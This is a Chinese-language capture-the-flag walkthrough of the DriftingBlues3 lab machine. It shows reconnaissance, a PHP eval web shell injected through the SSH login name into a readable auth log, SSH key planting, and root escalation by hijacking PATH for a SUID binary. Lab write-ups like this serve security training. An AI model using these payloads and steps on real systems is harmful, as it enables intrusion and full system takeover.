driftingblues3靶机
- 首先将靶机kali调至成一个网段内
- 然后对本网段IP进行一个扫描
nmap 10.0.2.0/24
拿到靶机IP对其IP进行一个详细扫描
nmap -A -sV 10.0.2.10
先对其访问一下80端口
在此页面并无发现太多信息
对其网站进行一个目录扫描
dirsearch -u http://10.0.2.10
这里首先对其robots.txt
进行一个访问
这里发现一个目录
对其进尝试访问
这里发现一个john
暂时猜测为一个用户名
然后还有一个目录对其进行访问
/littlequeenofspades.html
访问成功
对其查看完并无太多发现
对其查看一下源码
- 这里发现源码中隐藏了一串base加密后的信息
进行解密
此信息为base64加密
发现被二次加密了对其在进行解密
- 解密完成发现里面存在一个目录尝试一下对其进行访问
- 看是否可以访问到
访问成功
- 这里发现为ssh登录日志
这里直接尝试ssh远程登录看看此页面是否可以接受到
- 这里需要在网页最下方查看
开始提权
这里发现这个网页可以接受到ssh登录信息
这是想到了上传一个php一句话木马看是否可以建立连接
ssh 'xxx<?php @eval($_POST['q'])?>'@10.0.2.10
这里发现上传成功
这里直接上蚁剑查看是否可以连接成功
蚁剑安装包+步骤
连接成功
- 这里的url则为ssh登录日志的
- 密码则是一句话木马中括号里的,可以自定义
发现连接成功
这里我不进行连接反弹到kali终端了
这里直接到home下查看了一下用户
这进入到了此用户下,发现里面有一个ssh文件
- 同时也拥有权限,这是利用本地生成一个ssh密钥上传此文件尝试进行ssh登录
此时在本地直接生成一个ssh登录密钥 - 此时目录则是括号里的
- 密码则为当前用户的密码
ssh-keygen -t rsa
-f 指定要生成文件的文件名称
-t 设置认定方式,值为rsa,即非对称加密;或dsa,即数字签名和认证
-c 指定公钥中的备注信息
然后将生成的密钥上传到靶机中去
这里可以进行查看一下
ls -la
cd .ssh
- 这里面三个文件分别是
- id_rsa:这个文件则是一个私钥
- id_rsa.pub:这个和第一个区别就是有一个pub,则这文件为一个公钥的文件,这个公钥是拷贝到连接对方的主机上的
- known_hosts:你已知的主机要去和新的主机建立ssh协议的时候就会把文件存放在这个里面
- 在kali中打开80端口
python3 -m http.server 80
此时返回靶机终端,将公钥下载下来
authorized_keys
- 就是为了让两个linux机器之间使用ssh不需要用户名和密码。采用了数字签名RSA或者DSA来完成这个操作
cat id_rsa.pub > authorized_keys
写入成功此时直接进行ssh远程登录
此时注意用户名为robertj
- 此处如何需要输入密码则为本地kali用户的密码
登录成功
查看当前目录user.txt拿到第一个flag
此出就省去了我排查的步骤
直接开始提权
这里直接查看特殊权限为suid
- 查找系统所有文件中拥有suid特殊权限的文件-perm匹配权限
find / -perm -u=s -type f 2>/dev/null
此处直接运行一下getinfo
发现此用户以root用户权限执行一下三个命令
ip a
cat
uname -a
这里直接进到tmp里修改一下环境变量进行提权
cd /tmp
echo $PATH
touch cat # 创建一个cat文件
vi cat # 编辑cat文件添加内容
# /bin/bash
export PATH="/tmp:$PATH" # 把tmp目录放环境变量里
echo $PATH
chmod +x cat # 添加执行权限
getinfo
id